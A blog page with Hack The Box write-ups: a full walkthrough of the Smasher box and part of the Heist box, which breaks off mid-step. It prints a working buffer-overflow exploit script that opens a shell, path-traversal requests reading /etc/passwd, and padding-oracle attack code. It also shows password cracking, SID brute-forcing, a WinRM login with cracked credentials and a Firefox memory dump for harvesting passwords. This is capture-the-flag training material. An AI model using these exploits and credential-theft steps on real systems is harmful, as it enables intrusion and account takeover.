HTB – Smasher

nmap

Two ports open, ssh and TCP 1111:

root@kali:~/hackthebox/smasher-10.10.10.89# nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-12 08:45 EDT
Nmap scan report for 10.10.10.89
Host is up (0.100s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
1111/tcp open  lmsocialserver

Nmap done: 1 IP address (1 host up) scanned in 18.95 seconds

root@kali:~/hackthebox/smasher-10.10.10.89# nmap -sC -sV -oA nmap/initial 10.10.10.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-12 08:48 EDT
Nmap scan report for 10.10.10.89
Host is up (0.099s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a6:23:c5:7b:f1:1f:df:68:25:dd:3a:2b:c5:74:00:46 (RSA)
|   256 57:81:a5:46:11:33:27:53:2b:99:29:9a:a8:f3:8e:de (ECDSA)
|_  256 c5:23:c1:7a:96:d6:5b:c0:c4:a5:f8:37:2e:5d:ce:a0 (ED25519)
1111/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.14 seconds

The box looks like Ubuntu Xenial, based on the SSH version.

TCP 1111: HTTP Tiny Web Server

Site

While nmap didn’t identify what was happening on 1111, that port is hosting a webserver:

1528810165700

Going to index.html gives a login:

1528810199434

It is interesting to note that going to the root gives a dir listing, despite the fact that index.html is present in that directory. On typical webserver, by convention, the default settings would have index.html load in that case.

gobuster

gobuster turned up nothing:

root@kali:~/hackthebox/smasher-10.10.10.89# gobuster -u http://10.10.10.89:1111 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,js,php -t 30

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.89:1111/
[+] Threads      : 30
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,200
[+] Extensions   : .txt,.html,.js,.php
=====================================================
/index.html (Status: 200)

HTTP Headers

Going back to look at the server http headers, there’s something interesting. The headers for /index.html are pretty boring:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 2168
Content-type: text/html

But the Server header for the root path / show that this is the “shenfeng tiny-web-server”:

HTTP/1.1 200 OK
Server: shenfeng tiny-web-server
Content-Type: text/html

Tiny Web Server Exploit – Path Traversal

That software is open source, and one of the open issues on GitHub is that the server allows for file reads outside of the www root directory. Also, it does directory listings, so the reason we see the link to index.html when we visit just the web root is that that’s the only file in that directory.

POC – nc

Testing the directory traversal on smasher with nc:

root@kali:~/hackthebox/smasher-10.10.10.89# nc 10.10.10.89 1111
GET /../../../../../etc/passwd HTTP/1.0

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 1508
Content-type: text/plain

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
www:x:1000:1000:www,,,:/home/www:/bin/bash
smasher:x:1001:1001:,,,:/home/smasher:/bin/bash

POC – curl

As shown above, nc works to do the path traversal. By default, curl will fix paths with directory traversal and remove the ../. However, if I use the --path-as-is flag, I can get what I’m looking for here. From the man pages:

–path-as-is Tell curl to not handle sequences of /../ or /./​ in the given URL path. Normally curl will squash​ or merge them according to standards but with​ this option set you tell it not to do that.

root@kali:~/hackthebox/smasher-10.10.10.89# curl --path-as-is http://10.10.10.89:1111/../../../../etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS"

Tiny Web Server Exploit – BOF to Shell

Download

In exploring the box with the directory traversal vulnerability, I didn’t much too much interesting, except access to the webserver itself. And, given the name of the box, it seems I should be looking for a buffer overflow.

In the dir above the web-root, I’ll find both the binary and the source code for the webserver:

1529714442001

I’ll grab both (-O in curl is to save the file to the same name as the file on the server, whereas -o has you provide a filename):

root@kali:~/hackthebox/smasher-10.10.10.89# curl -s --path-as-is "10.10.10.89:1111/../tiny.c" -O
root@kali:~/hackthebox/smasher-10.10.10.89# curl -s --path-as-is "10.10.10.89:1111/../tiny" -O

Exploitation

I used access to the binary and source to develop an exploit against tiny. If you’re interested in the details, check out the next post which walks through exactly how I built this script. Here’s the final product:

#/usr/bin/env python

from pwn import *
from urllib import quote as urlencode

# Set up context
elf = context.binary = ELF('tiny/tiny', checksec=False)
#HOST, PORT = "127.0.0.1", 1111
HOST, PORT = "10.10.10.89", 1111

# Get addresses
BSS = elf.get_section_by_name(".bss")["sh_addr"]
log.info("BSS address: {:02x}".format(BSS))
read = elf.plt.read
log.info("plt read address: {:02x}".format(read))

# Build Payload
junk =  "A" * 568                  # junk
payload = ''
payload += p64(0x4011dd)  # pop rdi; ret
payload += p64(4)         # socket descriptor
payload += p64(0x4011db)  # pop rsi; pop r15; ret
payload += p64(BSS)       # BSS, to go to rsi
payload += p64(BSS)       # junk for r15
payload += p64(read)      # read
payload += p64(BSS)       # return to shellcode

req = r'GET {}'.format(urlencode(junk + payload))

# Send request
r = remote(HOST, PORT)
r.sendline(req)
r.sendline('')
r.recvuntil('File not found')
r.sendline(asm(shellcraft.amd64.dupsh(4), arch="amd64"))
r.interactive()

And, it gives me a shell:

root@kali:~/hackthebox/smasher-10.10.10.89# python tiny_exploit.py
[*] BSS address: 603260
[*] plt read address: 400cf0
[*] payload: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%dd%11%40%00%00%00%00%00%04%00%00%00%00%00%00%00%db%11%40%00%00%00%00%00%60%32%60%00%00%00%00%00%60%32%60%00%00%00%00%00%f0%0c%40%00%00%00%00%00%60%32%60%00%00%00%00%00
[+] Opening connection to 10.10.10.89 on port 1111: Done
[*] Switching to interactive mode
$ id
uid=1000(www) gid=1000(www) groups=1000(www)

AES Checker – Privesc: www –> smasher

Enumeration

As www, I noticed a couple interesting running processes:

root       709  0.0  0.3  54816  3804 ?        S    Jun26   0:00 sudo -u smasher /home/smasher/socat.sh
smasher    730  0.0  0.3  24364  3084 ?        S    Jun26   0:00 socat TCP-LISTEN:1337,reuseaddr,fork,bind=127.0.0.1 EXEC:/usr/bin/python /home/smasher/crackme.py

That is the smasher user using socat to serve crackme.py on localhost port 1337.

crackme.py

Since it’s only bound locally, I’ll connect from my shell:

$ nc 127.0.0.1 1337
[*] Welcome to AES Checker! (type 'exit' to quit)
[!] Crack this one: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==
Insert ciphertext:

At first I was trying to give it passwords, but really, it’s asking for ciphertext.

$ nc 127.0.0.1 1337
[*] Welcome to AES Checker! (type 'exit' to quit)
[!] Crack this one: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==
Insert ciphertext: $ password
Generic error, ignore me!
Insert ciphertext: $ smasher
Generic error, ignore me!
Insert ciphertext: $ irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==
Hash is OK!
Insert ciphertext: $ irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg=
Generic error, ignore me!
Insert ciphertext: $ irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXda==
Invalid Padding!

Generic plain text gives “Generic error, ignore me!”. Sending the hash back returns “Hash is OK!”. Shortening the base64 padding also gives “Generic error, ignore me!”, but changing the last letter of the base64 from g to a gives “Invalid Padding!”.

Padding Oracle Attack

Anytime there is an error message for a padding error, it is worth considering a padding oracle attack. For a details primer, this is a good read.

A padding oracle attack is an attack against block ciphers where you have something (“an oracle”) that will respond to tell you if that padding on the cipher text is correct or not. It is important that there is a different error for a padding error than for an incorrect or invalid decryption. The most common case for this kind of thing is when you get an encrypted cookie in a web session, but there’s no reason we can’t do it here with this command line program.

For block ciphers, the message will not always divide evenly by the block length. To get a full final block, typically padding is used. PKCS7 offers a padding scheme where the value of the pd bytes is equal to the number of padding bytes. That allows for disambiguation between padding bytes and true message bytes.

The attack takes advantage of the fact that to decrypt a block, the cipher text is xored with the key to form the intermediate state. Then the intermediate state is xored with the previous block cipher text to get the plain text. This attack will allow me to find the intermediate state, and then, with that, it can find the plaintext.

Adding to Exploit Script

Since I already have a python script going, I’ll add to it the ability to crack this encrypted text.

First, I’ll a chance to bail out in case I want a www shell:

## Shell or AES
if (raw_input("Type 'shell' for shell, anything else to continue\n> ").strip() == 'shell'):
    r.interactive()
    sys.exit()

Next, connect to the listening service and get the data:

log.info('Connecting to 127.0.0.1 1337 for AES challenge')
r.sendline('nc 127.0.0.1 1337')
r.recvuntil('[!] Crack this one: ')
data = r.recvline(keepends = False)
log.info('data: {}'.format(data))

encdata = b64decode(data)
log.info("data is {} bytes long, {} blocks".format(len(encdata), len(encdata)//AES.block_size))
iv = encdata[:16]
encdata = encdata[16:]

Next, I’ll import a module from mwielgoszewski designed to implement padding oracle attacks, python-paddingoracle. With this module, you simply pass it a socket, implement the oracle() function, and raise a BadPaddingException when there’s bad padding, and it handles the rest.

My code looks like this:

class PadBuster(PaddingOracle):
    def __init__(self, pwnsock, **kwargs):
        self.r = pwnsock
        super(PadBuster, self).__init__(**kwargs)

    def oracle(self, data, **kwargs):
        if all([x == 0 for x in data[:15]]) and data[16] == 255:
            print('\n\n\n\n')
        os.write(1, "\x1b[3F")
        print(hexdump(data))
        self.r.recvuntil('Insert ciphertext:')
        self.r.sendline(b64encode(data))
        resp = self.r.recvline()
        if 'Invalid Padding' in resp:
            raise BadPaddingException()
        return

log.info('Starting padding orcale attack')
pb = PadBuster(r)
plaintext = pb.decrypt(encdata, block_size=AES.block_size, iv=iv)
print('plaintext: {}'.format(plaintext))
r.close()

I will pass the open pwn socket in on init, and the in the oracle function, receive until the prompt, then send data, then receive the response. If it says “Invalid Padding”, I raise the exception, or, otherwise, return nothing.

Status Printing Tricks

This attack takes a while, so I added the part at the start to print the hexdump of the data that paddingoracle is trying to send. It ends up that one byte changes each time, until it gets the right byte and then moves to the next byte. I didn’t want 1000s of lines printed, but I wanted to see where things were. This was a good chance to learn about CSI codes. By printing “\x1b[nf”, it tells the console to go back to the beginning of the current line and then up n-1 lines (if n > 1). So I can print the current hexdump over itself repeatedly, getting status, without crushing space.

Final Script

#/usr/bin/env python

import logging
import os
import re
from Crypto.Cipher import AES
from base64 import b64encode, b64decode
from pwn import *
from paddingoracle import BadPaddingException, PaddingOracle
from urllib import quote as urlencode

## Get Shell on Smasher

# Set up context
elf = context.binary = ELF('tiny/tiny', checksec=False)
#HOST, PORT = "127.0.0.1", 1111
HOST, PORT = "10.10.10.89", 1111

# Get addresses
BSS = elf.get_section_by_name(".bss")["sh_addr"]
log.info("BSS address: {:02x}".format(BSS))
read = elf.plt.read
log.info("plt read address: {:02x}".format(read))

# Build Payload
junk =  "A" * 568                  # junk
payload = ''
payload += p64(0x4011dd)  # pop rdi; ret
payload += p64(4)         # socket descriptor
payload += p64(0x4011db)  # pop rsi; pop r15; ret
payload += p64(BSS)       # BSS, to go to rsi
payload += p64(BSS)       # junk for r15
payload += p64(read)      # read
payload += p64(BSS)       # return to shellcode

req = r'GET {}'.format(urlencode(junk + payload))

# Send request
while True:
    r = remote(HOST, PORT)
    r.sendline(req)
    r.sendline('')
    r.recvuntil('File not found', timeout=3)
    r.sendline(asm(shellcraft.amd64.dupsh(4), arch="amd64"))
    r.sendline('whoami')
    who = r.recv()
    if who:
        log.success('Shell on {} as {}'.format(HOST, who))
        break
    log.warn('Failed to get shell. Retrying')
    r.close()

## Shell or AES
if (raw_input("Type 'shell' for shell, anything else to continue\n> ").strip() == 'shell'):                    
    r.interactive()
    sys.exit()

## AES Challenge - padding oracle attack
print("")
log.info('Connecting to 127.0.0.1 1337 for AES challenge')
r.sendline('nc 127.0.0.1 1337')
r.recvuntil('[!] Crack this one: ')
data = r.recvline(keepends = False)
log.info('data: {}'.format(data))

encdata = b64decode(data)
log.info("data is {} bytes long, {} blocks".format(len(encdata), len(encdata)//AES.block_size))
log.info("Attack Buffer:")
print('\n')

class PadBuster(PaddingOracle):
    def __init__(self, pwnsock, **kwargs):
        self.r = pwnsock
        super(PadBuster, self).__init__(**kwargs)

    def oracle(self, data, **kwargs):
        os.write(1, "\x1b[3F")
        print(hexdump(data))
        self.r.recvuntil('Insert ciphertext:')
        self.r.sendline(b64encode(data))
        resp = self.r.recvline()
        if 'Invalid Padding' in resp:
            raise BadPaddingException()
        return

log.info('Starting padding orcale attack')
pb = PadBuster(r)
plaintext = pb.decrypt(encdata, block_size=AES.block_size)             
print('plaintext: {}'.format(plaintext))
r.close()   

On running the final script, it returns the decrypted plaintext:

root@kali:~/hackthebox/smasher-10.10.10.89# python tiny_exploit.py
[*] BSS address: 603260
[*] plt read address: 400cf0
[*] payload: A..A%dd%11%40%00%00%00%00%00%04%00%00%00%00%00%00%00%db%11%40%00%00%00%00%00%60%32%60%00%00%00%00%00%60%32%60%00%00%00%00%00%f0%0c%40%00%00%00%00%00%60%32%60%00%00%00%00%00
[+] Opening connection to 10.10.10.89 on port 1111: Done
[+] Shell on 10.10.10.89 as www
Type 'shell' for shell, anything else to continue
>

[*] Connecting to 127.0.0.1 1337 for AES challenge
[*] data: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==
[*] data is 64 bytes long, 4 blocks
[*] Attack Buffer:
00000000  ba 30 89 72  ff 9c 1f e5  5b 2c 55 ac  ed 23 c7 75  │·0·r│····│[,U·│·#·u│
00000010  a3 a8 52 a3  ab 68 82 a2  d8 21 31 86  a4 fb 17 76  │··R·│·h··│·!1·│···v│
00000020
plaintext:  user 'smasher' is: PaddingOracleMaster123\x06\x06\x06\x06\x06\x06
[*] Closed connection to 10.10.10.89 port 1111

One thing to note is that the string is returned with it’s padding, which is six bytes of 0x06.

Another thing to note – the first block didn’t decrypt. It’s not exactly clear to me if that’s a function of not knowing the IV, or if I scripted something wrong. But I’ll play with the crackme.py script a bit in Beyond Root, and the start to the string is missing above (if you know why, leave a comment). That said, I still have the password, so I can move on.

If you watch the script run, you’ll see the script showing the cipher text, which in this case is two blocks. The second block isn’t changing. But the first block starts at all 00 except for the last byte FF, and it decrements that byte until it doesn’t get a padding error. Then, since it knows what the plain text should be in that case, it knows what the intermediate value for that byte is. But since it knows the intermediate value and the actual cipher text for the previous block, it can get the true plain text for that byte. Here’s a video of the cracking (a sample from the middle, as it takes a long time):

Smasher Shell – user.txt

Taking the decrypted string as a password, I can now su as smasher from a shell. The user flag is in the homedir:

root@kali:~/htb# ssh smasher@10.10.10.89
smasher@10.10.10.89's password: PaddingOracleMaster123
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-124-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Mon May 21 15:16:03 2018 from 10.10.14.4
smasher@smasher:~$ wc -c user.txt
33 user.txt
smasher@smasher:~$ cat user.txt
baabc5e4...

Privesc to root (read)

Enumeration

Armed with smasher’s password, we can now ssh into the host:

root@kali:~/hackthebox/smasher-10.10.10.89# cat smasher.pass; cat smasher.pass | xclip; ssh smasher@10.10.10.89
PaddingOracleMaster123
smasher@10.10.10.89's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-124-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Thu Jun 28 16:42:53 2018 from 10.10.14.20
smasher@smasher:~$ id
uid=1001(smasher) gid=1001(smasher) groups=1001(smasher)

On enumerating the box, I found a binary that has suid permissions and seems unique to this host:

smasher@smasher:~$ ls -l /usr/bin/checker
-rwsr-xr-x 1 root root 13616 Apr  4 11:40 /usr/bin/checker

smasher@smasher:~$ strings -n 35 /usr/bin/checker
You're not 'smasher' user please level up bro!
[+] Welcome to file UID checker 0.1 by dzonerzy
Acess failed , you don't have permission!
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609
__do_global_dtors_aux_fini_array_entry

smasher@smasher:~$ /usr/bin/checker
[+] Welcome to file UID checker 0.1 by dzonerzy

Missing arguments

smasher@smasher:~$ /usr/bin/checker /usr/bin/checker
[+] Welcome to file UID checker 0.1 by dzonerzy

File UID: 0

Data:
ELF

smasher@smasher:~$ echo test > /tmp/test

smasher@smasher:~$ /usr/bin/checker /tmp/test
[+] Welcome to file UID checker 0.1 by dzonerzy

File UID: 1001

Data:
test

Cool. This is definitely interesting.

Analysis of checker

IdaPro (free 7.0 version) gives a nice image as to the flow of this simple program:

1530206073201

The program does the following:

  1. Check uid and compares it to 0x3e9 (1001, which is smasher on smasher). If it isn’t smasher, it prints the string we saw in the strings output, “You’re not ‘smasher’ user please level up bro!” and exits.
  2. Prints welcome message “[+] Welcome to file UID checker 0.1 by dzonerzy”.
  3. Checks that the number of arguments passed in was 1 or more. If not, prints “Missing arguments” and exits.
  4. malloc space for a stat buffer, and calls stat on the the first argument passed to the program. If the file doesn’t exist, it prints a message and exits.
  5. Calls access on the the file. If the current user doesn’t have permissions, it prints an error and exits.
  6. Calls setuid(0) and setgid(0) to start acting as root.
  7. sleep for 1 second
  8. Calls it’s own function ReadFile, which reads the content of the file into space on the heap and returns the address.
  9. Calls strcpy to copy from that buffer to a new local variable on the stack.
  10. Uses printf to print the file uid from the stat call and then the data from the file (as far as strcpy would copy).

Exploiting checker

The one second sleep in the program presents an opportunity. The script is designed to not let the user read files smasher shouldn’t have access to. But that 1 seconds sleep happens between the access check and the file read. That’s something I can exploit.

I’ll use a python script that’s creating a file that the current user is able to read. Then it runs checker on the file, running in the background (&) so that the script will continue. The script then sleeps for half a second, before removing the file, and replacing it with a symbolic link referencing a file passed in as an argument.

At this point, checker should be coming out of it’s sleep, where it will open the file and read it, and print the results.

smasher@smasher:~$ python htb-smasher-race.py /root/root.txt
[+] Welcome to file UID checker 0.1 by dzonerzy

File UID: 0

Data:
077*****9bf

ALL credits to : https://0xdf.gitlab.io/2018/11/24/htb-smasher.html

files used : https://github.com/puckiestyle/python/blob/master/htb-smasher-shell.py and https://github.com/puckiestyle/python/blob/master/htb-smasher-race.py

 

 

HTB – Heist

Today we are going to solve another CTF challenge “Heist” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Easy

Task: find user.txt and root.txt file on victim’s machine

Let’s start with a nmap scan

c:\PENTEST>nmap -p- 10.10.10.149
Starting Nmap 7.70 ( https://nmap.org ) at 2019-12-03 21:04 W. Europe Standard Time
Stats: 0:00:14 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
Nmap scan report for 10.10.10.149
Host is up (0.025s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
5985/tcp open wsman
49668/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 136.45 seconds

We got smb and http on port 80, and winrm on port 5895

Anonymous authentication wasn’t allowed on smb:

root@kali:/htb# smbclient --list //heist.htb/ -U ''
Enter WORKGROUP\'s password: 
session setup failed: NT_STATUS_LOGON_FAILURE

So let’s check the web service.


Web Enumeration

The index page had a login form, however there was a guest login option:

After getting in as guest I got this issues page:

A user called hazard posted an issue that he’s having some problems with his Cisco router and he attached the configuration file with the issue.
The configuration file had some password hashes and usernames:

version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0 mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh

For the type 7 passwords I used  https://github.com/puckiestyle/python/blob/master/ciscot7.py to crack them:

c:\PENTEST>python ciscot7.py -d -p 0242114B0E143F015F5D1E161713
Decrypted password: $uperP@ssword
c:\PENTEST>python ciscot7.py -d -p 02375012182C1A1D751618034F36415408
Decrypted password: Q4)sJu\Y8qz*A3?d

And for the other hash I cracked it with john:

root@kali:~/Desktop/HTB/boxes/heist# cat hash.txt 
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
root@kali:~/Desktop/HTB/boxes/heist# john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt 
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent    (?)
1g 0:00:01:09 DONE (2019-11-29 12:17) 0.01440g/s 50492p/s 50492c/s 50492C/s stealth323..stealth1967
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~/Desktop/HTB/boxes/heist# 

Enumerating Users –> Shell as Chase –> User Flag

So far we have hazard and rout3r as potential usernames and stealth1agent$uperP@sswordQ4)sJu\Y8qz*A3?d as potential passwords.
I tried different combinations and I could authenticate to smb as hazard : stealth1agent, however there weren’t any useful shares:

root@kali:/htb# smbclient --list //heist.htb/ -U 'hazard'
Enter WORKGROUP\hazard's password: stealth1agent Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Reconnecting with SMB1 for workgroup listing. Connection to heist.htb failed (Error NT_STATUS_IO_TIMEOUT) Failed to connect with SMB1 -- no workgroup available

I used lookupsid.py from impacket to enumerate the other users:

root@kali:~/htb# lookupsid.py hazard:stealth1agent@10.10.10.149
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

Then I could authenticate to winrm as chase : Q4)sJu\Y8qz*A3?d:

i used evil-winrm from : https://github.com/Hackplayers/evil-winrm

root@kali:/opt/evil-winrm# ./evil-winrm.rb -i heist.htb -u chase -p 'Q4)sJu\Y8qz*A3?d' -s './ps1_scripts/' -e './exe_files/'

Info: Starting Evil-WinRM shell v1.6

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Chase\Documents> dir
*Evil-WinRM* PS C:\Users\Chase\Documents> cd ..
*Evil-WinRM* PS C:\Users\Chase> cd Desktop
*Evil-WinRM* PS C:\Users\Chase\Desktop> dir


Directory: C:\Users\Chase\Desktop


Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-a---- 4/22/2019 9:08 AM 121 todo.txt 
-a---- 4/22/2019 9:07 AM 32 user.txt


*Evil-WinRM* PS C:\Users\Chase\Desktop> type user.txt
a127*****9c4
*Evil-WinRM* PS C:\Users\Chase\Desktop>

Administrator Password from Firefox Process Dump –> Shell as Administrator –> Root Flag

After enumerating the box for a while I noticed that Firefox was installed on the box which is unusual:

*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> ls

    Directory: C:\Users\Chase\appdata\Roaming
Mode                LastWriteTime         Length Name                                         ----                -------------         ------ ----                                         d-----        4/22/2019   7:14 AM                Adobe                                       d---s-        4/22/2019   7:14 AM                Microsoft                                   d-----        4/22/2019   8:01 AM                Mozilla                                     *Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> cd Mozilla
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ls

    Directory: C:\Users\Chase\appdata\Roaming\Mozilla

Mode                LastWriteTime         Length Name        
----                -------------         ------ ----

d-----        4/22/2019   8:01 AM                Extensions     
d-----        4/22/2019   8:01 AM                Firefox
d-----        4/22/2019   8:01 AM                SystemExtensionsDev
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> 

And there were some Firefox processes running:

*Evil-WinRM* PS C:\users\chase> ps

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                                                                                                                                                    
-------  ------    -----      -----     ------     --  -- -----------                                                                                                                                                                                    
    452      18     2284       5424               404   0 csrss                                                                                                                                                                                          
    292      17     2288       5240               492   1 csrss                                                                                                                                                                                          
    358      15     3544      14652              5232   1 ctfmon                                                                                                                                                                                         
    164       9     1832       9784       0.09   2008   1 dllhost                                                                                                                                                                                        
    258      14     3988      13460              3952   0 dllhost                                                                                                                                                                                        
    623      32    33768      59456                76   1 dwm                                                                                                                                                                                            
   1501      58    23868      78792              5608   1 explorer                                                                                                                                                                                       
   1135      73   153452     493888      38.55   2660   1 firefox                                                                                                                                                                                        
    407      31    17508      63304       4.22   2996   1 firefox                                                                                                                                                                                        
    390      36    79316     111904      96.61   3960   1 firefox                                                                                                                                                                                        
    343      20    10652      38912       1.31   4052   1 firefox                                                                                                                                                                                        
    358      26    16368      37572       1.06   6200   1 firefox

I uploaded procdump.exe [ It is not needed to put a remote_path if the local file is in the same directory as evilwinrm. rb file ] and dumped one of these processes:

*Evil-WinRM* PS C:\users\chase> .\procdump64.exe -accepteula -ma 2660 firefox.dmp  [14:45:37] Dump 1 initiated: C:\users\chase\firefox.dmp [14:45:37] Dump 1 writing: Estimated dump file size is 494 MB. [14:45:41] Dump 1 complete , next I uploaded strings.exe and used it on the dump and saved the output to another file:

